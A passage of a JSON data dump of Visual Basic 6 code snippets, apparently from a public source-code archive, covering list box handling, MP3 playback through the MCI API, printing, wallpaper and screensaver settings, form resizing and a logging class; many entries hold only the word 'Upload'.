on\nthis tutorial, change all the ΓÇÿBlankerΓÇÖs to the name of your choice.\n</div>\n</body>\n"},{"WorldId":1,"id":29373,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31659,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24864,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26963,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25711,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26386,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23976,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23984,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34098,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31342,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24003,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27185,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27263,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25732,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24020,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31153,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24029,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24032,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24089,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24225,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24465,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24509,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25361,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25363,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25710,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24074,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33358,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33323,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25699,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26616,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26115,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24161,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24107,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29558,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29641,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25886,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34590,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27484,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24148,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25868,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26337,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26319,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31203,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24160,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28554,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25346,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24546,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24367,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31844,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26054,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24832,"LineNumber":1,"line":"Dim j As Integer\n j = 0\n \nDo While j < List1.ListCount\n \n List1.Text = List1.List(j)\n \n If List1.ListIndex <> j Then\n List1.RemoveItem j\n Else\n j = j + 1\n End If\n \nLoop\n \nEnd Sub"},{"WorldId":1,"id":25407,"LineNumber":1,"line":"Private Sub List1_Click()\nDim X As Long\nDim y As Long\nDim j As Long\nj = 0\n' Add selected items to ListBox2\n For X = 0 To List1.ListCount - 1\n If List1.Selected(X) = True Then\n List2.AddItem List1.List(X)\n End If\n Next\n \n ' Get rid of the now unselected items\n \n Dim i As Long\n For y = 0 To List1.ListCount - 1\n For i = 0 To List1.ListCount - 1\n List2.Text = List2.List(i)\n If List2.List(i) = List1.List(y) And List1.Selected(y) = False Then\n List2.RemoveItem i\n End If\n Next i\n Next\n'Get rid of any duplicates in ListBox2\n \nDo While j < List2.ListCount\n \n List2.Text = List2.List(j)\n \n If List2.ListIndex <> j Then\n List2.RemoveItem j\n Else\n j = j + 1\n End If\nLoop\n \nEnd Sub\n"},{"WorldId":1,"id":31260,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30429,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28268,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24970,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24796,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28237,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28862,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31694,"LineNumber":1,"line":" Lets start \n out by the two most important API declares. These will allow you to manipulate \n any multimedia file and return error's directly from the API.\n \n Ok, the only way to show you how to open multimedia files is to jump straight \n in. The examples are pretty self explanitory, so don't worry too much.\n \n Public Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" \n (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength \n As Long, ByVal hwndCallback As Long) As Long\n \n Public Declare Function mciGetErrorString Lib "winmm.dll" Alias "mciGetErrorStringA" \n (ByVal dwError As Long, ByVal lpstrBuffer As String, ByVal uLength As Long) \n As Long\n \n 'This is just an API call to get the short name of the path you specify. The \n MCI uses short path formats \n Public Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" \n (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer \n As Long) As Long\n \n 'This constant is just a string that you pass to the MCI so it knows what file \n your want manipulated \n Const Alias As String = "Media"\n \n 'This function will return the error of specified MCI error \n Private Function GetMCIError(lError As Long) As String \n Dim sBuffer As string 'We need this to store the returned error \n sBuffer = String$(255, Chr(0)) 'This fills out buffer with null characters so \n the MCI has something to write the error on \n mciGetErrorString lError, sReturn, Len(sReturn) \n sBuffer = Replace$(sBuffer, Chr(0), "") \n End Function\n \n Private Function OpenMP3(FileName As String) As String \n Dim lResult As Long 'The return value of the MCI command \n Dim sBuffer As String 'The Buffer used to get the short path, we use it in the \n same way as mciGetErrorString \n sBuffer = String$(255, Chr(0)) \n GetShortPathName FileName, sBuffer, Len(sBuffer) \n sBuffer = Replace$(sBuffer, Chr(0), "") \n lResult = mciSendString("OPEN " & FileName & " TYPE MPEGVideo \n ALIAS " & Alias, 0, 0, 0) \n If lResult Then 'There was an error \n 'We make our function return the MCI error \n OpenMP3 = GetMCIError(lResult) \n Exit Function \n Else 'There was no error \n 'Set the timeformat of the file to milliseconds so when we send a request to \n get the length of the file or the curent playing position it will return in \n something we can understand \n mciSendString "SET " & Alias & " TIME FORMAT TMSF", \n 0, 0, 0 \n End Function\n \n Private Sub CloseMP3() \n 'We dont need an error code for this becuase if it dosent close then there isnt \n much we can do about it \n mciSendString "CLOSE " & Alias, 0, 0, 0 \n End Sub\n \n Private Sub PlayMP3(Optional lPosition As Long) \n 'We dont really need an error return code for this becuase if the file is playable \n the MCI would not have opened it in the first place \n 'The lPosition tells the MCI to play the MP3 from a certain position (in milliseconds) \n mciSendString "PLAY " & Alias & " FROM " & lPosition, \n 0, 0, 0 \n End Sub\n \n They are the basics of playing media files. I thought I'd show you an MP3 file \n becuase they are more fun. Now you have the basics you can incorporate it with \n the lst below. Below is a list of all the stuff you can do with the MCI. \n All commands follow the same pattern e.g.\n \n mciSendString "You command string" & Your Alias & " Aditional \n Commands", 0, 0, 0 \n If you are requesting a return value remember you must use a buffer\n \n Command Strings \n "PAUSE" \n "STOP" \n "SEEK" Same as PLAY ALIAS FROM \n "OPEN AS CDAUDIO" opens it for a CD Audio \n "OPEN AS MPEGVideo" Opens ANY MPEG File \n "SETAUDIO ALIAS LEFT VOLUME TO NUMBER" \n "SETAUDIO ALIAS RIGHT VOLUME TO NUMBER" \n "STATUS ALIAS LENGTH" \n "STATUS ALIAS POSITION" "},{"WorldId":1,"id":32285,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24345,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24346,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30378,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24284,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26775,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27682,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24293,"LineNumber":1,"line":"<pre>Private Sub PrintWordWrap(YourText As String, LeftMargin_InTwips As Long, RightMargin_InTwips As Long)\nOn Error GoTo Errors\nStart = 1\nChar = \"\"\nTempText = \"\"\nDim boolSpace As Boolean\nFor Location = 1 To Len(YourText)\nChar = Mid(YourText, Location, 1)\nIf Char = \" \" Then\n If Printer.TextWidth(TempText2 & Mid(YourText, Start, Location - Start)) <= Printer.Width - RightMargin_InTwips - LeftMargin_InTwips - 700 Then\n TempText = Mid(YourText, Start, Location - Start)\n Pos = Location\n boolSpace = True\n Else\n Start = Location\n Pos2 = Location\n Printer.CurrentX = LeftMargin_InTwips\n Printer.Print TempText2 & TempText\n TempText2 = Mid(YourText, Pos + 1, Location - Pos - 1)\n TempText = \"\"\n boolSpace = False\n End If\nElseIf Char = vbCr And Mid(YourText, Location + 1, 1) = vbLf And Printer.TextWidth(TempText2 & Mid(YourText, Start, Location - Start)) <= Printer.Width - RightMargin_InTwips - LeftMargin_InTwips - 700 Then\n \n If Not InStr(Mid(YourText, Start, Location - Start), vbCr) <> 0 Then\n Printer.CurrentX = LeftMargin_InTwips\n End If\n Printer.Print TempText2 & Mid(YourText, Start, Location - Start);\n Start = Location + 1\n Pos2 = Location\n TempText = \"\"\n TempText2 = \"\"\n boolSpace = False\nElseIf boolSpace = False And _\n Printer.TextWidth(Mid(YourText, Start, Location - Start)) >= Printer.Width - Printer.TextWidth(\"W\") - RightMargin_InTwips - LeftMargin_InTwips - 700 And _\n Printer.TextWidth(Mid(YourText, Start, Location - Start)) < Printer.Width - RightMargin_InTwips - LeftMargin_InTwips - 700 Then\n \n Printer.CurrentX = LeftMargin_InTwips\n Printer.Print Mid(YourText, Start, Location - Start)\n Start = Location\n Pos = Location\n TempText = \"\"\n TempText2 = \"\"\n \nEnd If\nIf Printer.CurrentY > Printer.Height Then Printer.NewPage\nNext\nIf Printer.TextWidth(TempText2 & TempText) <= Printer.Width - RightMargin_InTwips - LeftMargin_InTwips - 700 Then\n Printer.CurrentX = LeftMargin_InTwips\n Printer.Print TempText2 & Mid(YourText, Pos2, Location - Pos2);\nEnd If\nPrinter.EndDoc\nExit Sub\nErrors:\nboxit = MsgBox(Err.Description, vbOKOnly + vbApplicationModal + vbInformation, Err.Source & \" Error #\" & Err.Number)\n' 700 twips are subtracted from the width of the\n' page to account for the non-printable area for\n' MY printer. I don't know for sure, but this may\n' vary depending on your printer.\nEnd Sub</pre>"},{"WorldId":1,"id":32226,"LineNumber":1,"line":" \nPrivate Declare Function SystemParametersInfo Lib \"user32\" Alias \"SystemParametersInfoA\" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long \nPrivate Const SPI_SETSCREENSAVEACTIVE = 17 \nPrivate Const SPIF_UPDATEINIFILE = &H1 \nPrivate Const SPIF_SENDWININICHANGE = &H2 \nPrivate Const SPI_GETSCREENSAVETIMEOUT = 14 \nPrivate Const SPI_SETSCREENSAVETIMEOUT = 15 \nPrivate Const SPI_SETDESKWALLPAPER = 20 \nPrivate Sub ChangeWallPaper(strWP As String) \n Dim ret As Long \n ret = SystemParametersInfo(SPI_SETDESKWALLPAPER, 0&, strWP, SPIF_UPDATEINIFILE Or SPIF_SENDWININICHANGE) \nEnd Sub \nPrivate Sub ClearWallPaper() \n Dim ret As Long \n ret = SystemParametersInfo(SPI_SETDESKWALLPAPER, 0&, \"(None)\", SPIF_UPDATEINIFILE Or SPIF_SENDWININICHANGE) \nEnd Sub \nPrivate Function ScreenSaverActive(Value As Boolean) \n Call SystemParametersInfo(SPI_SETSCREENSAVEACTIVE, Value, 0&, SPIF_UPDATEINIFILE Or SPIF_SENDWININICHANGE) \nEnd Function \nPublic Function SetScreenSaverTimeOut(ByVal NewValueInMinutes As Long) As Boolean \n 'Sets Screen Saver Timeout in Minutes\n Dim lRet As Long \n Dim lSeconds As Long \n lSeconds = NewValueInMinutes * 60 \n lRet = SystemParametersInfo(SPI_SETSCREENSAVETIMEOUT, lSeconds, ByVal 0&, SPIF_UPDATEINIFILE + SPIF_SENDWININICHANGE) \n SetScreenSaverTimeOut = lRet <> 0 \nEnd Function "},{"WorldId":1,"id":32162,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24515,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24474,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27481,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Language\" content=\"en-us\">\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 4.0\">\n<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\n<title>Important Notice</title>\n</head>\n<body>\nMThreadVB - The easy way to multithread !\nMThreadVB is a generic multithreader for VB - to which I have been making a\nfew changes here and there.... But it seems that in one of my updates I had\ninadvertently referenced an independent DLL called VBConsole.Dll and had\nforgotten to remove it. (This was done for testing and experimentation\npurposes)...I had also forgotten to remove an invalid object variable\nreference.... As a result, the update may not have worked.... I apologize for\nany inconvenience and those of you who had downloaded the buggy code can\ndownload the updated version now ! Plus this new update has quite a few\nmore features (and took quite some time to add too !)\nFixes / Enhancements\n1>The VBConsole.dll reference problem has been fixed....\n2>Now defines a new property ObjectInThreadContext, that returns the\nreference to the parent object containing the multithreaded sub in context to\nthe new thread\n3>With this, you can now implement File I/O and show forms (though I do\nnot very much recommend showing forms from multithreaded procedures), from multithreaded subs\n(The Form show bug was reported by Robin Lobel - Special thanks to him for doing\nso !)\n4>Some users it seems are having problems showing forms within\nmultithreaded procedures. Therefore I have updated the code to actually\ndemonstrate how to actually show forms from multithreaded procedures....\n5>A serious pointer dereferencing bug was causing problems when the\nmultithreaded sub had a relatively big name. This has now been fixed !\nHere is the link to the bug fixed code -\n<a href=\"http://planet-source-code.com/vb/default.asp?lngCId=26900&lngWId=1\">http://planet-source-code.com/vb/default.asp?lngCId=26900&lngWId=1</a> \n\nDo not hesitate to mail be if you notice some bug or problem....\nPlease remember that many of the enhancements were made possible due to\nfeedback from people at PSC.... Please continue to give your feedback regarding\nany problems in the functioning of MThreadVB\nNote: If you consider this code worth your vote, please vote for the main\npage by clicking the link above... Or register it by clicking <a href=\"http://www.planet-source-code.com/vb/scripts/voting/VoteOnCodeRating.asp?lngWId=1&txtCodeId=26900&optCodeRatingValue=5\">here\n!</a>\n</body>\n</html>\n"},{"WorldId":1,"id":33388,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30818,"LineNumber":1,"line":"Private Function CalcEanMetcontrole(ByVal EAN13Digit As String) As String\nDim Explodestring As String\nDim DigArray\nDim Digit As Variant\nDim factor As Integer\nDim Standin As Integer\nDim som As Integer\nDim CG As Integer\nExplodestring = Left$(Replace(StrConv(EAN13Digit, vbUnicode), vbNullChar, _\n \",\"), Len(EAN13Digit) * 2 - 1)\n DigArray = Split(Explodestring, \",\", -1, 1)\nfactor = 3\nFor Each Digit In DigArray\nStandin = CInt(Digit)\nsom = som + (Standin * factor)\nfactor = 4 - factor\nNext\n\nIf Right$(CStr(som), 1) = 0 Then\nCG = 0\nElse\nCG = 10 - Right$(som, 1)\nEnd If\n\nCalcEanMetcontrole = Trim$(EAN13Digit & CStr(CG))\nEnd Function"},{"WorldId":1,"id":24966,"LineNumber":1,"line":"Option Explicit\nPublic Sub FindIndexStr(ctlSource As Control, _\n ByVal str As String, intKey As Integer, _\n Optional ctlTarget As Variant)\nDim lngIdx As Long\nDim FindString As String\nIf (intKey < 32 Or intKey > 127) And _\n (Not (intKey = 13 Or intKey = 8)) Then Exit Sub\nIf Not intKey = 13 Or intKey = 8 Then\n If Len(ctlSource.Text) = 0 Then\n FindString = str & Chr$(intKey)\n Else\n FindString = Left$(str, ctlSource.SelStart) & Chr$(intKey)\n End If\nEnd If\nIf intKey = 8 Then\n If Len(ctlSource.Text) = 0 Then Exit Sub\n Dim numChars As Integer\n numChars = ctlSource.SelStart - 1\n 'FindString = Left(str, numChars)\n If numChars > 0 Then FindString = Left(str, numChars)\nEnd If\nIf IsMissing(ctlTarget) And TypeName(ctlSource) = \"ComboBox\" Then\n Set ctlTarget = ctlSource\n If intKey = 13 Then\n Call SendMessageStr(ctlTarget.hWnd, _\n CB_SHOWDROPDOWN, True, 0&)\n Exit Sub\n End If\n lngIdx = SendMessageStr(ctlTarget.hWnd, _\n CB_FINDSTRING, -1, FindString)\nElseIf TypeName(ctlTarget) = \"ListBox\" Then\n If intKey = 13 Then Exit Sub '???\n lngIdx = SendMessageStr(ctlTarget.hWnd, _\n LB_FINDSTRING, -1, FindString)\nElse\n Exit Sub\nEnd If\n \nIf lngIdx <> -1 Then\n ctlTarget.ListIndex = lngIdx\n If TypeName(ctlSource) = \"TextBox\" Then ctlSource.Text = ctlTarget.List(lngIdx)\n ctlSource.SelStart = Len(FindString)\n ctlSource.SelLength = Len(ctlSource.Text) - ctlSource.SelStart\nEnd If\nintKey = 0\nEnd Sub"},{"WorldId":1,"id":30693,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30377,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32873,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":32448,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34254,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34882,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":35025,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24614,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25240,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24363,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24364,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26960,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25593,"LineNumber":1,"line":"'add a command button and a textbox to your form\nOption Explicit\nFunction PluralCheck(Num, Singular As String, Plural As String) As String\nDim NumString As String\nNumString = Trim(Str(Num)) & \" \"\nIf Num = 1 Then\n PluralCheck = NumString & Singular\nElse\n PluralCheck = NumString & Plural\nEnd If\nEnd Function\nPrivate Sub Command1_Click()\nDim N As Integer\nN = Val(Text1.Text)\nMsgBox \"Cats have \" & PluralCheck(N, \"life\", \"lives\")\nEnd Sub\n"},{"WorldId":1,"id":26012,"LineNumber":1,"line":"Private Sub Form_Load()\n Dim tk As TokenList\n Dim strTest As String\n Dim strSeparator As String\n \n strTest = \"String, Tokenization, By, Paul, Crowdy, www.kmcpartnership.co.uk\"\n strSeparator = \", \"\n \n tk = Tokenize(strTest, strSeparator)\n For i = 0 To tk.TokenCount - 1\n MsgBox \"Token \" & i + 1 & \" = \" & tk.Tokens(i), vbInformation, strTest\n Next i\n End\nEnd Sub"},{"WorldId":1,"id":27199,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27229,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24425,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24426,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24464,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24490,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27637,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30830,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":31360,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28684,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25180,"LineNumber":1,"line":"sub validDate()\n If txtDate.Text <> \"\" Then\n If IsDate(txtDate) = False Then\n MsgBox \"You have entered an Invalid Date in Last Contacted please use MM/DD/YYYY\", , \"Invalid Entry\"\n txtDate.text= \"\"\n Else\n txtDate.Text = Format(txtDate.Text, \"General Date\")\n End If\nElse\n txtDate.Text = Date\nEnd If\nend sub"},{"WorldId":1,"id":28728,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28597,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28575,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24473,"LineNumber":1,"line":"Add a menu item named 'mnuCreate' with a caption of \"&Create\nWebBrowser\"\nPlace the following code into a standard VB 6.0 form.\n<hr>\n \nPrivate m_WebControl As VBControlExtender \n \nPrivate Sub Form_Resize() \nOn Error Resume Next \n┬á┬á┬á ' resize webbrowser to entire size of form \n┬á┬á┬á m_WebControl.Move 0, 0, ScaleWidth, ScaleHeight \nEnd Sub \n \nPrivate Sub mnuCreate_Click() \nOn Error GoTo ErrHandler \n \n┬á┬á┬á ' attempting to add WebBrowser here ('Shell.Explorer.2' is registered \n┬á┬á┬á ' with Windows if a recent (>= 4.0) version of Internet Explorer is installed \n┬á┬á┬á Set m_WebControl = Controls.Add(\"Shell.Explorer.2\", \"webctl\", Me) \n \n┬á┬á┬á ' if we got to here, there was no problem creating the WebBrowser \n┬á┬á┬á ' so we should size it properly and ensure it's visible \n┬á┬á┬á m_WebControl.Move 0, 0, ScaleWidth, ScaleHeight \n┬á┬á┬á m_WebControl.Visible = True \n \n┬á┬á┬á ' use the Navigate method of the WebBrowser control to open a \n┬á┬á┬á ' web page \n┬á┬á┬á m_WebControl.object.navigate \"http://www.planet-source-code.com\" \n \n┬á┬á┬á Exit Sub \nErrHandler: \n┬á┬á┬á MsgBox \"Could not create WebBrowser control\", vbInformation \nEnd Sub \n\n"},{"WorldId":1,"id":24475,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":26248,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25311,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24766,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24679,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24498,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24503,"LineNumber":1,"line":"'*** put the following code in a module or something normal\nPublic Sub ResizeOMatic(frm As Form, adj() As CtlAdj)\n '** ResizeOMatic :: this sub moves and resizes controls on the form based\n '** on the adjustment data passed. Each element of the adj array should be\n '** in sequence as long as VB enumerates the controls in the same order as it\n '** did when the adj array was built (sub RegisterForm)\n \n Dim tmpControl As Control\n Dim index As Long\n \n On Error Resume Next 'keepin it real\n \n index = 0\n For Each tmpControl In frm\n index = index + 1\n \n Select Case LCase$(tmpControl.Tag)\n \n Case \"rx\" 'relative X\n tmpControl.Left = frm.width - tmpControl.width - adj(index).adjX\n \n Case \"ry\" 'relative Y\n tmpControl.Top = frm.height - tmpControl.height - adj(index).adjY\n \n Case \"rxy\" 'relative XY\n tmpControl.Left = frm.width - tmpControl.width - adj(index).adjX\n tmpControl.Top = frm.height - tmpControl.height - adj(index).adjY\n \n Case \"sx\" 'stretch X\n tmpControl.width = frm.width - tmpControl.Left - adj(index).adjX\n \n Case \"sy\" 'stretch Y\n tmpControl.height = frm.height - tmpControl.Top - adj(index).adjY\n \n Case \"sxy\" 'stretch XY\n tmpControl.width = frm.width - tmpControl.Left - adj(index).adjX\n tmpControl.height = frm.height - tmpControl.Top - adj(index).adjY\n \n End Select\n \n Next\n \nEnd Sub\n\nPublic Sub RegisterForm(frm As Form, width As Long, height As Long, adj() As CtlAdj)\n '** RegisterForm :: this sub enumerates the controls on the form and records\n '** the positions of the bottom right corner of the control. We have to pass the\n '** width and height parameters (initial point of reference) because MDI\n '** automagically sizes forms. The adjustment data is used in Sub ResizeOMatic\n \n Dim tmpControl As Control\n \n ReDim adj(0)\n On Error Resume Next 'keepin it real\n \n For Each tmpControl In frm\n ReDim Preserve adj(UBound(adj) + 1)\n adj(UBound(adj)).adjX = width - (tmpControl.Left + tmpControl.width)\n adj(UBound(adj)).adjY = height - (tmpControl.Top + tmpControl.height)\n Next\n \nEnd Sub\n'*********** The following code is a form\n'*********** demonstrating how to use it\nPrivate Sizedata() As CtlAdj\nPrivate Sub Form_Load()\n \n '** load your stuff here\n \n 'call this near the end of the form_load()\n'Note: On MDI child forms, you should manually\n'specify the width and height to your design time\n'size to keep proper proportions\n RegisterForm Me, Me.Width, Me.Height, Sizedata()\n \nEnd Sub\nPrivate Sub Form_Resize()\n \n ResizeOMatic Me, Sizedata()\n \nEnd Sub\n"},{"WorldId":1,"id":31578,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27641,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":34985,"LineNumber":1,"line":"Private Sub Command1_Click()\n'=============================================\n'Defined strictly for the Richtextbox, though\n'might work on others.\n'=============================================\nSendMessage RichTextBox1.hWnd, EM_UNDO, ByVal 0&, ByVal 0&\nEnd Sub\nPrivate Sub Command2_Click()\nSendMessage RichTextBox1.hWnd, WM_COPY, ByVal 0&, ByVal 0&\nEnd Sub\nPrivate Sub Command3_Click()\nSendMessage RichTextBox1.hWnd, WM_PASTE, ByVal 0&, ByVal 0&\nEnd Sub\nPrivate Sub Command4_Click()\nSendMessage RichTextBox1.hWnd, WM_CUT, ByVal 0&, ByVal 0&\nEnd Sub\n'=================================================\n'This can be used on textboxes and other controls\n'=================================================\nPrivate Sub Command5_Click()\nSendMessage RichTextBox1.hWnd, WM_UNDO, ByVal 0&, ByVal 0&\nEnd Sub\n\nPrivate Sub Form_Load()\nRichTextBox1.Text = \"This is line 1\" & vbCrLf & _\n \"This is line 2\" & vbCrLf & _\n \"This is line 3\" & vbCrLf & _\n \"This is line 4\" & vbCrLf\n \nEnd Sub"},{"WorldId":1,"id":25752,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24513,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24617,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25388,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25107,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25071,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":33624,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":30057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29458,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":29677,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":28021,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":27994,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":24536,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":25570,"LineNumber":1,"line":"Option Explicit\n'================================\n' Michael Schmidt July 2001\n' mikes@mtdmarketing.com\n'================================\n'================================\n' Example:\n' Public MyLog As Log\n'\n' Private Form_Load\n' On Error Goto ErrorSub\n'\n' MyLog = New Log\n' Log (\"Loading Form...\")\n' Log (\"Unloading Form...\",\"Hello!\")\n'\n' Exit Sub\n' ErrorSub:\n'\n' LogError(Err,\"Error in MySub\")\n'\n' End Sub\n'=================================\n' The EVENT function was never \n' implemented, if you compile \n' this into a DLL then you should \n' be able to use the EVENT feature\n' quite handy.\n'==================================\nPrivate LogFile As Long\nPrivate LogName As String\nPrivate Const Comma = \",\"\nPrivate Const Quote = \"\"\"\"\nPrivate Const Space = \" \"\nPrivate oDateTime\nPrivate oType\nPrivate oGeneralInfo\nPrivate oDetailedInfo\nEvent LogIn(logData As String)\nPrivate Sub LogError(objError As ErrObject, strSubFailed As String)\n oDateTime = \"(\" & Date & Space & Time & \")\"\n oType = \"ERROR\"\n oGeneralInfo = \"Error \" & objError.Number & \" - \" & Err.Description\n oDetailedInfo = strSubFailed\n AppendLog\n \nEnd Sub\nPrivate Sub Log(strGeneral As String, Optional strDetailed As String)\n oDateTime = \"(\" & Date & Space & Time & \")\"\n oType = \"GENERAL\"\n oGeneralInfo = strGeneral\n oDetailedInfo = strDetailed\n \n AppendLog\nEnd Sub\nPrivate Sub AppendLog()\nDim CSVstring As String\nDim BASstring As String\n \n CSVstring = Quote & oDateTime & Quote & Comma & _\n Quote & oType & Quote & Comma & _\n Quote & oGeneralInfo & Quote & Comma & _\n Quote & oDetailedInfo & Quote\n BASstring = oDateTime & Space & _\n oType & Space & _\n oGeneralInfo & _\n oDetailedInfo\n \n RaiseEvent LogIn(BASstring)\n ' Print to LOG\n Open LogName For Append As #LogFile\n Print #LogFile, CSVstring\n Close #LogFile\nEnd Sub\nPrivate Sub Class_Initialize()\n LogName = App.Path & \"\\Session.log\"\n LogFile = FreeFile()\n \n Open LogName For Output As #LogFile\n Close #LogFile\n \n Log (\"[Log Started]\")\nEnd Sub\n'=================================\n' Path Property\n'=================================\nProperty Get LogFilePathName() As String\n LogFilePathName = LogName\nEnd Property\nPrivate Sub Class_Terminate()\n Log (\"[Log Ended]\")\nEnd 